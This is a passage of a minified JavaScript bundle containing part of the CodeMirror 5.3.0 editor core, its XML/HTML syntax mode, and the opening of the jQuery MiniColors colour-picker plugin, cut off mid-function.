t,u,r=this.sel.ranges,i=0;i<r.length;i++)u=bi(this,r[i].from(),r[i].to()),t=t?t.concat(u):u;return n===!1?t:t.join(n||"\n")},getSelections:function(n){for(var i,u=[],r=this.sel.ranges,t=0;t<r.length;t++)i=bi(this,r[t].from(),r[t].to()),n!==!1&&(i=i.join(n||"\n")),u[t]=i;return u},replaceSelection:function(n,t,i){for(var u=[],r=0;r<this.sel.ranges.length;r++)u[r]=n;this.replaceSelections(u,t,i||"+input")},replaceSelections:k(function(n,t,i){for(var f,e,u=[],o=this.sel,r=0;r<o.ranges.length;r++)f=o.ranges[r],u[r]={from:f.from(),to:f.to(),text:li(n[r]),origin:i};for(e=t&&"end"!=t&&ik(this,u,t),r=u.length-1;r>=0;r--)ar(this,u[r]);e?wl(this,e):this.cm&&vr(this.cm)}),undo:k(function(){ge(this,"undo")}),redo:k(function(){ge(this,"redo")}),undoSelection:k(function(){ge(this,"undo",!0)}),redoSelection:k(function(){ge(this,"redo",!0)}),setExtending:function(n){this.extend=n},getExtending:function(){return this.extend},historySize:function(){for(var t=this.history,i=0,r=0,n=0;n<t.done.length;n++)t.done[n].ranges||++i;for(n=0;n<t.undone.length;n++)t.undone[n].ranges||++r;return{undo:i,redo:r}},clearHistory:function(){this.history=new oo(this.history.maxGeneration)},markClean:function(){this.cleanGeneration=this.changeGeneration(!0)},changeGeneration:function(n){return n&&(this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=null),this.history.generation},isClean:function(n){return this.history.generation==(n||this.cleanGeneration)},getHistory:function(){return{done:wr(this.history.done),undone:wr(this.history.undone)}},setHistory:function(n){var t=this.history=new oo(this.history.maxGeneration);t.done=wr(n.done.slice(0),null,!0);t.undone=wr(n.undone.slice(0),null,!0)},addLineClass:k(function(n,t,i){return io(this,n,"gutter"==t?"gutter":"class",function(n){var r="text"==t?"textClass":"background"==t?"bgClass":"gutter"==t?"gutterClass":"wrapClass";if(n[r]){if(lf(i).test(n[r]))return!1;n[r]+=" "+i}else n[r]=i;return!0})}),removeLineClass:k(function(n,t,i){return io(this,n,"gutter"==t?"gutter":"class",function(n){var f="text"==t?"textClass":"background"==t?"bgClass":"gutter"==t?"gutterClass":"wrapClass",u=n[f],r,e;if(!u)return!1;if(null==i)n[f]=null;else{if(r=u.match(lf(i)),!r)return!1;e=r.index+r[0].length;n[f]=u.slice(0,r.index)+(r.index&&e!=u.length?" ":"")+u.slice(e)||null}return!0})}),addLineWidget:k(function(n,t,i){return bk(this,n,t,i)}),removeLineWidget:function(n){n.clear()},markText:function(n,t,i){return pr(this,f(this,n),f(this,t),i,"range")},setBookmark:function(n,t){var i={replacedWith:t&&(null==t.nodeType?t.widget:t),insertLeft:t&&t.insertLeft,clearWhenEmpty:!1,shared:t&&t.shared,handleMouseEvents:t&&t.handleMouseEvents};return n=f(this,n),pr(this,n,n,i,"bookmark")},findMarksAt:function(n){var e,i,u,t;if(n=f(this,n),e=[],i=r(this,n.line).markedSpans,i)for(u=0;u<i.length;++u)t=i[u],(null==t.from||t.from<=n.ch)&&(null==t.to||t.to>=n.ch)&&e.push(t.marker.parent||t.marker);return e},findMarks:function(n,t,i){n=f(this,n);t=f(this,t);var u=[],r=n.line;return this.iter(n.line,t.line+1,function(f){var s=f.markedSpans,o,e;if(s)for(o=0;o<s.length;o++)e=s[o],r==n.line&&n.ch>e.to||null==e.from&&r!=n.line||r==t.line&&e.from>t.ch||i&&!i(e.marker)||u.push(e.marker.parent||e.marker);++r}),u},getAllMarks:function(){var n=[];return this.iter(function(t){var r=t.markedSpans,i;if(r)for(i=0;i<r.length;++i)null!=r[i].from&&n.push(r[i].marker)}),n},posFromIndex:function(t){var i,r=this.first;return this.iter(function(n){var u=n.text.length+1;return u>t?(i=t,!0):(t-=u,void++r)}),f(this,n(r,i))},indexFromPos:function(n){n=f(this,n);var t=n.ch;return n.line<this.first||n.ch<0?0:(this.iter(this.first,n.line,function(n){t+=n.text.length+1}),t)},copy:function(n){var t=new tt(kh(this,this.first,this.first+this.size),this.modeOption,this.first);return t.scrollTop=this.scrollTop,t.scrollLeft=this.scrollLeft,t.sel=this.sel,t.extend=!1,n&&(t.history.undoDepth=this.history.undoDepth,t.setHistory(this.getHistory())),t},linkedDoc:function(n){var i,r,t;return n||(n={}),i=this.first,r=this.first+this.size,null!=n.from&&n.from>i&&(i=n.from),null!=n.to&&n.to<r&&(r=n.to),t=new tt(kh(this,i,r),n.mode||this.modeOption,i),n.sharedHist&&(t.history=this.history),(this.linked||(this.linked=[])).push({doc:t,sharedHist:n.sharedHist}),t.linked=[{doc:this,isParent:!0,sharedHist:n.sharedHist}],hk(t,ov(this)),t},unlinkDoc:function(n){var i,u,r;if(n instanceof t&&(n=n.doc),this.linked)for(i=0;i<this.linked.length;++i)if(u=this.linked[i],u.doc==n){this.linked.splice(i,1);n.unlinkDoc(this);ck(ov(this));break}n.history==this.history&&(r=[n.id],wi(n,function(n){r.push(n.id)},!0),n.history=new oo(null),n.history.done=wr(this.history.done,r),n.history.undone=wr(this.history.undone,r))},iterLinkedDocs:function(n){wi(this,n)},getMode:function(){return this.mode},getEditor:function(){return this.cm}});tt.prototype.eachLine=tt.prototype.iter;yp="iter insert remove copy getEditor".split(" ");for(kf in tt.prototype)tt.prototype.hasOwnProperty(kf)&&d(yp,kf)<0&&(t.prototype[kf]=function(n){return function(){return n.apply(this.doc,arguments)}}(tt.prototype[kf]));br(tt);var g=t.e_preventDefault=function(n){n.preventDefault?n.preventDefault():n.returnValue=!1},og=t.e_stopPropagation=function(n){n.stopPropagation?n.stopPropagation():n.cancelBubble=!0},cc=t.e_stop=function(n){g(n);og(n)},u=t.on=function(n,t,i){if(n.addEventListener)n.addEventListener(t,i,!1);else if(n.attachEvent)n.attachEvent("on"+t,i);else{var r=n._handlers||(n._handlers={}),u=r[t]||(r[t]=[]);u.push(i)}},dt=t.off=function(n,t,i){var r,u;if(n.removeEventListener)n.removeEventListener(t,i,!1);else if(n.detachEvent)n.detachEvent("on"+t,i);else{if(r=n._handlers&&n._handlers[t],!r)return;for(u=0;u<r.length;++u)if(r[u]==i){r.splice(u,1);break}}},p=t.signal=function(n,t){var r=n._handlers&&n._handlers[t],u,i;if(r)for(u=Array.prototype.slice.call(arguments,2),i=0;i<r.length;++i)r[i].apply(null,u)},df=null,pp=30,wp=t.Pass={toString:function(){return"CodeMirror.Pass"}},gt={scroll:!1},lc={origin:"*mouse"},gf={origin:"+move"};ff.prototype.set=function(n,t){clearTimeout(this.id);this.id=setTimeout(t,n)};var vt=t.countColumn=function(n,t,i,r,u){var f,e,o;for(null==t&&(t=n.search(/[^\s\u00a0]/),-1==t&&(t=n.length)),f=r||0,e=u||0;;){if(o=n.indexOf("\t",f),0>o||o>=t)return e+(t-f);e+=o-f;e+=i-e%i;f=o+1}},ko=[""],ru=function(n){n.select()};kr?ru=function(n){n.selectionStart=0;n.selectionEnd=n.value.length}:s&&(ru=function(n){try{n.select()}catch(t){}});var fr,sg=/[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/,bp=t.isWordChar=function(n){return/\w/.test(n)||n>""&&(n.toUpperCase()!=n.toLowerCase()||sg.test(n))},hg=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;fr=document.createRange?function(n,t,i,r){var u=document.createRange();return u.setEnd(r||n,i),u.setStart(n,t),u}:function(n,t,i){var r=document.body.createTextRange();try{r.moveToElementText(n.parentNode)}catch(u){return r}return r.collapse(!0),r.moveEnd("character",i),r.moveStart("character",t),r};go=t.contains=function(n,t){if(3==t.nodeType&&(t=t.parentNode),n.contains)return n.contains(t);do if(11==t.nodeType&&(t=t.host),t==n)return!0;while(t=t.parentNode)};s&&11>a&&(kt=function(){try{return document.activeElement}catch(n){return document.body}});var ac,vc,ne=t.rmClass=function(n,t){var r=n.className,i=lf(t).exec(r),u;i&&(u=r.slice(i.index+i[0].length),n.className=r.slice(0,i.index)+(u?i[1]+u:""))},te=t.addClass=function(n,t){var i=n.className;lf(t).test(i)||(n.className+=(i?" ":"")+t)},kp=!1,cg=function(){if(s&&9>a)return!1;var n=i("div");return"draggable"in n||"dragDrop"in n}(),li=t.splitLines=3!="\n\nb".split(/\n/).length?function(n){for(var t,r,u,i=0,f=[],e=n.length;e>=i;)t=n.indexOf("\n",i),-1==t&&(t=n.length),r=n.slice(i,"\r"==n.charAt(t-1)?t-1:t),u=r.indexOf("\r"),-1!=u?(f.push(r.slice(0,u)),i+=u+1):(f.push(r),i=t+1);return f}:function(n){return n.split(/\r\n?|\n/)},lg=window.getSelection?function(n){try{return n.selectionStart!=n.selectionEnd}catch(t){return!1}}:function(n){try{var t=n.ownerDocument.selection.createRange()}catch(i){}return t&&t.parentElement()==n?0!=t.compareEndPoints("StartToEnd",t):!1},dp=function(){var n=i("div");return"oncopy"in n?!0:(n.setAttribute("oncopy","return;"),"function"==typeof n.oncopy)}(),yc=null,ai={3:"Enter",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",61:"=",91:"Mod",92:"Mod",93:"Mod",107:"=",109:"-",127:"Delete",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",63232:"Up",63233:"Down",63234:"Left",63235:"Right",63272:"Delete",63273:"Home",63275:"End",63276:"PageUp",63277:"PageDown",63302:"Insert"};return t.keyNames=ai,function(){for(var n=0;10>n;n++)ai[n+48]=ai[n+96]=String(n);for(n=65;90>=n;n++)ai[n]=String.fromCharCode(n);for(n=1;12>=n;n++)ai[n+111]=ai[n+63235]="F"+n}(),gp=function(){function e(n){return 247>=n?o.charAt(n):n>=1424&&1524>=n?"R":n>=1536&&1773>=n?s.charAt(n-1536):n>=1774&&2220>=n?"r":n>=8192&&8203>=n?"w":8204==n?"b":"L"}function n(n,t,i){this.level=n;this.from=t;this.to=i}var o="bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN",s="rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmm",c=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,i=/[stwN]/,r=/[LRr]/,u=/[Lb1n]/,f=/[1n]/,t="L";return function(o){var b,tt,d,v,w,g,a,s,it,k,nt,y,rt;if(!c.test(o))return!1;for(var v,p=o.length,l=[],s=0;p>s;++s)l.push(v=e(o.charCodeAt(s)));for(s=0,b=t;p>s;++s)v=l[s],"m"==v?l[s]=b:b=v;for(s=0,d=t;p>s;++s)v=l[s],"1"==v&&"r"==d?l[s]="n":r.test(v)&&(d=v,"r"==v&&(l[s]="R"));for(s=1,b=l[0];p-1>s;++s)v=l[s],"+"==v&&"1"==b&&"1"==l[s+1]?l[s]="1":","!=v||b!=l[s+1]||"1"!=b&&"n"!=b||(l[s]=b),b=v;for(s=0;p>s;++s)if(v=l[s],","==v)l[s]="N";else if("%"==v){for(w=s+1;p>w&&"%"==l[w];++w);for(tt=s&&"!"==l[s-1]||p>w&&"1"==l[w]?"1":"N",y=s;w>y;++y)l[y]=tt;s=w-1}for(s=0,d=t;p>s;++s)v=l[s],"L"==d&&"1"==v?l[s]="L":r.test(v)&&(d=v);for(s=0;p>s;++s)if(i.test(l[s])){for(w=s+1;p>w&&i.test(l[w]);++w);for(var ut="L"==(s?l[s-1]:t),ft="L"==(p>w?l[w]:t),tt=ut||ft?"L":"R",y=s;w>y;++y)l[y]=tt;s=w-1}for(a=[],s=0;p>s;)if(u.test(l[s])){for(it=s,++s;p>s&&u.test(l[s]);++s);a.push(new n(0,it,s))}else{for(k=s,nt=a.length,++s;p>s&&"L"!=l[s];++s);for(y=k;s>y;)if(f.test(l[y])){for(y>k&&a.splice(nt,0,new n(1,k,y)),rt=y,++y;s>y&&f.test(l[y]);++y);a.splice(nt,0,new n(2,rt,y));k=y}else++y;s>k&&a.splice(nt,0,new n(1,k,s))}return 1==a[0].level&&(g=o.match(/^\s+/))&&(a[0].from=g[0].length,a.unshift(new n(0,0,g[0].length))),1==h(a).level&&(g=o.match(/\s+$/))&&(h(a).to-=g[0].length,a.push(new n(0,p-g[0].length,p))),2==a[0].level&&a.unshift(new n(1,a[0].to,a[0].to)),a[0].level!=h(a).level&&a.push(new n(a[0].level,p,p)),a}}(),t.version="5.3.0",t});!function(n){"object"==typeof exports&&"object"==typeof module?n(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)}(function(n){"use strict";n.defineMode("xml",function(t,i){function f(n,t){function i(i){return t.tokenize=i,i(n,t)}var r=n.next(),u;return"<"==r?n.eat("!")?n.eat("[")?n.match("CDATA[")?i(c("atom","]\]>")):null:n.match("--")?i(c("comment","-->")):n.match("DOCTYPE",!0,!0)?(n.eatWhile(/[\w\._\-]/),i(l(1))):null:n.eat("?")?(n.eatWhile(/[\w\._\-]/),t.tokenize=c("meta","?>"),"meta"):(o=n.eat("/")?"closeTag":"openTag",t.tokenize=h,"tag bracket"):"&"==r?(u=n.eat("#")?n.eat("x")?n.eatWhile(/[a-fA-F\d]/)&&n.eat(";"):n.eatWhile(/[\d]/)&&n.eat(";"):n.eatWhile(/[\w\.\-:]/)&&n.eat(";"),u?"atom":"error"):(n.eatWhile(/[^&<]/),null)}function h(n,t){var i=n.next(),r;return">"==i||"/"==i&&n.eat(">")?(t.tokenize=f,o=">"==i?"endTag":"selfcloseTag","tag bracket"):"="==i?(o="equals",null):"<"==i?(t.tokenize=f,t.state=s,t.tagName=t.tagStart=null,r=t.tokenize(n,t),r?r+" tag error":"tag error"):/[\'\"]/.test(i)?(t.tokenize=nt(i),t.stringStartCol=n.column(),t.tokenize(n,t)):(n.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/),"word")}function nt(n){var t=function(t,i){for(;!t.eol();)if(t.next()==n){i.tokenize=h;break}return"string"};return t.isInAttribute=!0,t}function c(n,t){return function(i,r){for(;!i.eol();){if(i.match(t)){r.tokenize=f;break}i.next()}return n}}function l(n){return function(t,i){for(var r;null!=(r=t.next());){if("<"==r)return i.tokenize=l(n+1),i.tokenize(t,i);if(">"==r){if(1==n){i.tokenize=f;break}return i.tokenize=l(n-1),i.tokenize(t,i)}}return"meta"}}function tt(n,t,i){this.prev=n.context;this.tagName=t;this.indent=n.indented;this.startOfLine=i;(u.doNotIndent.hasOwnProperty(t)||n.context&&n.context.noIndent)&&(this.noIndent=!0)}function a(n){n.context&&(n.context=n.context.prev)}function w(n,t){for(var i;;){if(!n.context)return;if(i=n.context.tagName,!u.contextGrabbers.hasOwnProperty(i)||!u.contextGrabbers[i].hasOwnProperty(t))return;a(n)}}function s(n,t,i){return"openTag"==n?(i.tagStart=t.column(),b):"closeTag"==n?it:s}function b(n,t,i){return"word"==n?(i.tagName=t.current(),r="tag",e):(r="error",b)}function it(n,t,i){if("word"==n){var f=t.current();return i.context&&i.context.tagName!=f&&u.implicitlyClosed.hasOwnProperty(i.context.tagName)&&a(i),i.context&&i.context.tagName==f?(r="tag",v):(r="tag error",k)}return r="error",k}function v(n,t,i){return"endTag"!=n?(r="error",v):(a(i),s)}function k(n,t,i){return r="error",v(n,t,i)}function e(n,t,i){if("word"==n)return r="attribute",rt;if("endTag"==n||"selfcloseTag"==n){var f=i.tagName,o=i.tagStart;return i.tagName=i.tagStart=null,"selfcloseTag"==n||u.autoSelfClosers.hasOwnProperty(f)?w(i,f):(w(i,f),i.context=new tt(i,f,o==i.indented)),s}return r="error",e}function rt(n,t,i){return"equals"==n?ut:(u.allowMissing||(r="error"),e(n,t,i))}function ut(n,t,i){return"string"==n?d:"word"==n&&u.allowUnquoted?(r="string",e):(r="error",e(n,t,i))}function d(n,t,i){return"string"==n?d:e(n,t,i)}var y=t.indentUnit,ft=i.multilineTagIndentFactor||1,p=i.multilineTagIndentPastTag,o,r,u,g;return null==p&&(p=!0),u=i.htmlMode?{autoSelfClosers:{area:!0,base:!0,br:!0,col:!0,command:!0,embed:!0,frame:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0,menuitem:!0},implicitlyClosed:{dd:!0,li:!0,optgroup:!0,option:!0,p:!0,rp:!0,rt:!0,tbody:!0,td:!0,tfoot:!0,th:!0,tr:!0},contextGrabbers:{dd:{dd:!0,dt:!0},dt:{dd:!0,dt:!0},li:{li:!0},option:{option:!0,optgroup:!0},optgroup:{optgroup:!0},p:{address:!0,article:!0,aside:!0,blockquote:!0,dir:!0,div:!0,dl:!0,fieldset:!0,footer:!0,form:!0,h1:!0,h2:!0,h3:!0,h4:!0,h5:!0,h6:!0,header:!0,hgroup:!0,hr:!0,menu:!0,nav:!0,ol:!0,p:!0,pre:!0,section:!0,table:!0,ul:!0},rp:{rp:!0,rt:!0},rt:{rp:!0,rt:!0},tbody:{tbody:!0,tfoot:!0},td:{td:!0,th:!0},tfoot:{tbody:!0},th:{td:!0,th:!0},thead:{tbody:!0,tfoot:!0},tr:{tr:!0}},doNotIndent:{pre:!0},allowUnquoted:!0,allowMissing:!0,caseFold:!0}:{autoSelfClosers:{},implicitlyClosed:{},contextGrabbers:{},doNotIndent:{},allowUnquoted:!1,allowMissing:!1,caseFold:!1},g=i.alignCDATA,{startState:function(){return{tokenize:f,state:s,indented:0,tagName:null,tagStart:null,context:null}},token:function(n,t){if(!t.tagName&&n.sol()&&(t.indented=n.indentation()),n.eatSpace())return null;o=null;var i=t.tokenize(n,t);return(i||o)&&"comment"!=i&&(r=null,t.state=t.state(o||i,n,t),r&&(i="error"==r?i+" error":r)),i},indent:function(t,i,r){var e=t.context,o,s;if(t.tokenize.isInAttribute)return t.tagStart==t.indented?t.stringStartCol+1:t.indented+y;if(e&&e.noIndent)return n.Pass;if(t.tokenize!=h&&t.tokenize!=f)return r?r.match(/^(\s*)/)[0].length:0;if(t.tagName)return p?t.tagStart+t.tagName.length+2:t.tagStart+y*ft;if(g&&/<!\[CDATA\[/.test(i))return 0;if(o=i&&/^<(\/)?([\w_:\.-]*)/.exec(i),o&&o[1])for(;e;){if(e.tagName==o[2]){e=e.prev;break}if(!u.implicitlyClosed.hasOwnProperty(e.tagName))break;e=e.prev}else if(o)for(;e;){if(s=u.contextGrabbers[e.tagName],!s||!s.hasOwnProperty(o[2]))break;e=e.prev}for(;e&&!e.startOfLine;)e=e.prev;return e?e.indent+y:0},electricInput:/<\/[\s\w:]+>$/,blockCommentStart:"<!--",blockCommentEnd:"-->",configuration:i.htmlMode?"html":"xml",helperType:i.htmlMode?"html":"xml"}});n.defineMIME("text/xml","xml");n.defineMIME("application/xml","xml");n.mimeModes.hasOwnProperty("text/html")||n.defineMIME("text/html",{name:"xml",htmlMode:!0})});!function(n){"function"==typeof define&&define.amd?define(["jquery"],n):"object"==typeof exports?module.exports=n(require("jquery")):n(jQuery)}(function(n){"use strict";function g(t,i){var l,y,p,s,c,h,v=n('<div class="minicolors" />'),w=n.minicolors.defaults;if(!t.data("minicolors-initialized")){if(i=n.extend(!0,{},w,i),v.addClass("minicolors-theme-"+i.theme).toggleClass("minicolors-with-opacity",i.opacity),void 0!==i.position&&n.each(i.position.split(" "),function(){v.addClass("minicolors-position-"+this)}),y="rgb"===i.format?i.opacity?"25":"20":i.keywords?"11":"7",t.addClass("minicolors-input").data("minicolors-initialized",!1).data("minicolors-settings",i).prop("size",y).wrap(v).after('<div class="minicolors-panel minicolors-slider-'+i.control+'"><div class="minicolors-slider minicolors-sprite"><div class="minicolors-picker"><\/div><\/div><div class="minicolors-opacity-slider minicolors-sprite"><div class="minicolors-picker"><\/div><\/div><div class="minicolors-grid minicolors-sprite"><div class="minicolors-grid-inner"><\/div><div class="minicolors-picker"><div><\/div><\/div><\/div><\/div>'),i.inline||(t.after('<span class="minicolors-swatch minicolors-sprite minicolors-input-swatch"><span class="minicolors-swatch-color"><\/span><\/span>'),t.next(".minicolors-input-swatch").on("click",function(n){n.preventDefault();t.focus()})),c=t.parent().find(".minicolors-panel"),c.on("selectstart",function(){return!1}).end(),i.swatches&&0!==i.swatches.length)for(c.addClass("minicolors-with-swatches"),p=n('<ul class="minicolors-swatches"><\/ul>').appendTo(c),h=0;h<i.swatches.length;++h)"object"===n.type(i.swatches[h])?(l=i.swatches[h].name,s=i.swatches[h].color):(l="",s=i.swatches[h]),s=r(s)?u(s,!0):e(f(s,!0)),n('<li class="minicolors-swatch minicolors-sprite"><span class="minicolors-swatch-color" title="'+l+'"><\/span><\/li>').appendTo(p).data("swatch-color",i.swatches[h]).find(".minicolors-swatch-color").css({backgroundColor:a(s),opacity:s.a}),i.swatches[h]=s;i.inline&&t.parent().addClass("minicolors-inline");o(t,!1);t.data("minicolors-initialized",!0)}}function v(n){var t=n.parent();n.removeData("minicolors-initialized").removeData("minicolors-settings").removeProp("size").removeClass("minicolors-input");t.before(n).remove()}function c(n){var t=n.parent(),r=t.find(".minicolors-panel"),i=n.data("minicolors-settings");!n.data("minicolors-initialized")||n.prop("disabled")||t.hasClass("minicolors-inline")||t.hasClass("minicolors-focus")||(s(),t.addClass("minicolors-focus"),r.stop(!0,!0).fadeIn(i.showSpeed,function(){i.show&&i.show.call(n.get(0))}))}function s(){n(".minicolors-focus").each(function(){var t=n(this),r=t.find(".minicolors-input"),u=t.find(".minicolors-panel"),i=r.data("minicolors-settings");u.fadeOut(i.hideSpeed,function(){i.hide&&i.hide.call(r.get(0));t.removeClass("minicolors-focus")})})}function y(n,t,i){var e,o,s,f,h=n.parents(".minicolors").find(".minicolors-input"),c=h.data("minicolors-settings"),l=n.find("[class$=-picker]"),a=n.offset().left,v=n.offset().top,u=Math.round(t.pageX-a),r=Math.round(t.pageY-v),y=i?c.animationSpeed:0;t.originalEvent.changedTouches&&(u=t.originalEvent.changedTouches[0].pageX-a,r=t.originalEvent.changedTouches[0].pageY-v);u<0&&(u=0);r<0&&(r=0);u>n.width()&&(u=n.width());r>n.height()&&(r=n.height());n.parent().is(".minicolors-slider-wheel")&&l.parent().is(".minicolors-grid")&&(e=75-u,o=75-r,s=Math.sqrt(e*e+o*o),f=Math.atan2(o,e),f<0&&(f+=2*Math.PI),s>75&&(s=75,u=75-75*Math.cos(f),r=75-75*Math.sin(f)),u=Math.round(u),r=Math.round(r));n.is(".minicolors-grid")?l.stop(!0).animate({top:r+"px",left:u+"px"},y,c.animationEasing,function(){p(h,n)}):l.stop(!0).animate({top:r+"px"},y,c.animationEasing,function(){p(h,n)})}function p(n,r){function g(n,t){var i,r;return n.length&&t?(i=n.offset().left,r=n.offset().top,{x:i-t.offset().left+n.outerWidth()/2,y:r-t.offset().top+n.outerHeight()/2}):null}var u,f,o,y,p,b,a,c=n.val(),k=n.attr("data-opacity"),v=n.parent(),tt=n.data("minicolors-settings"),it=v.find(".minicolors-input-swatch"),e=v.find(".minicolors-grid"),h=v.find(".minicolors-slider"),nt=v.find(".minicolors-opacity-slider"),rt=e.find("[class$=-picker]"),ut=h.find("[class$=-picker]"),ft=nt.find("[class$=-picker]"),s=g(rt,e),d=g(ut,h),et=g(ft,nt);if(r.is(".minicolors-grid, .minicolors-slider, .minicolors-opacity-slider")){switch(tt.control){case"wheel":y=e.width()/2-s.x;p=e.height()/2-s.y;b=Math.sqrt(y*y+p*p);a=Math.atan2(p,y);a<0&&(a+=2*Math.PI);b>75&&(b=75,s.x=69-75*Math.cos(a),s.y=69-75*Math.sin(a));f=t(b/.75,0,100);u=t(180*a/Math.PI,0,360);o=t(100-Math.floor(d.y*(100/h.height())),0,100);c=i({h:u,s:f,b:o});h.css("backgroundColor",i({h:u,s:f,b:100}));break;case"saturation":u=t(parseInt(s.x*(360/e.width()),10),0,360);f=t(100-Math.floor(d.y*(100/h.height())),0,100);o=t(100-Math.floor(s.y*(100/e.height())),0,100);c=i({h:u,s:f,b:o});h.css("backgroundColor",i({h:u,s:100,b:o}));v.find(".minicolors-grid-inner").css("opacity",f/100);break;case"brightness":u=t(parseInt(s.x*(360/e.width()),10),0,360);f=t(100-Math.floor(s.y*(100/e.height())),0,100);o=t(100-Math.floor(d.y*(100/h.height())),0,100);c=i({h:u,s:f,b:o});h.css("backgroundColor",i({h:u,s:f,b:100}));v.find(".minicolors-grid-inner").css("opacity",1-o/100);break;default:u=t(360-parseInt(d.y*(360/h.height()),10),0,360);f=t(Math.floor(s.x*(100/e.width())),0,100);o=t(100-Math.floor(s.y*(100/e.height())),0,100);c=i({h:u,s:f,b:o});e.css("backgroundColor",i({h:u,s:100,b:100}))}k=tt.opacity?parseFloat(1-et.y/nt.height()).toFixed(2):1;w(n,c,k)}else it.find("span").css({backgroundColor:c,opacity:k}),l(n,c,k)}function w(n,i,o){var s,a=n.parent(),c=n.data("minicolors-settings"),v=a.find(".minicolors-input-swatch");c.opacity&&n.attr("data-opacity",o);"rgb"===c.format?(s=r(i)?u(i,!0):e(f(i,!0)),o=""===n.attr("data-opacity")?1:t(parseFloat(n.attr("data-opacity")).toFixed(2),0,1),!isNaN(o)&&c.opacity||(o=1),i=n.minicolors("rgbObject").a<=1&&s&&c.opacity?"rgba("+s.r+", "+s.g+", "+s.b+", "+parseFloat(o)+")":"rgb("+s.r+", "+s.g+", "+s.b+")"):(r(i)&&(i=d(i)),i=h(i,c.letterCase));n.val(i);v.find("span").css({backgroundColor:i,opacity:o});l(n,i,o)}function o(e,o){var 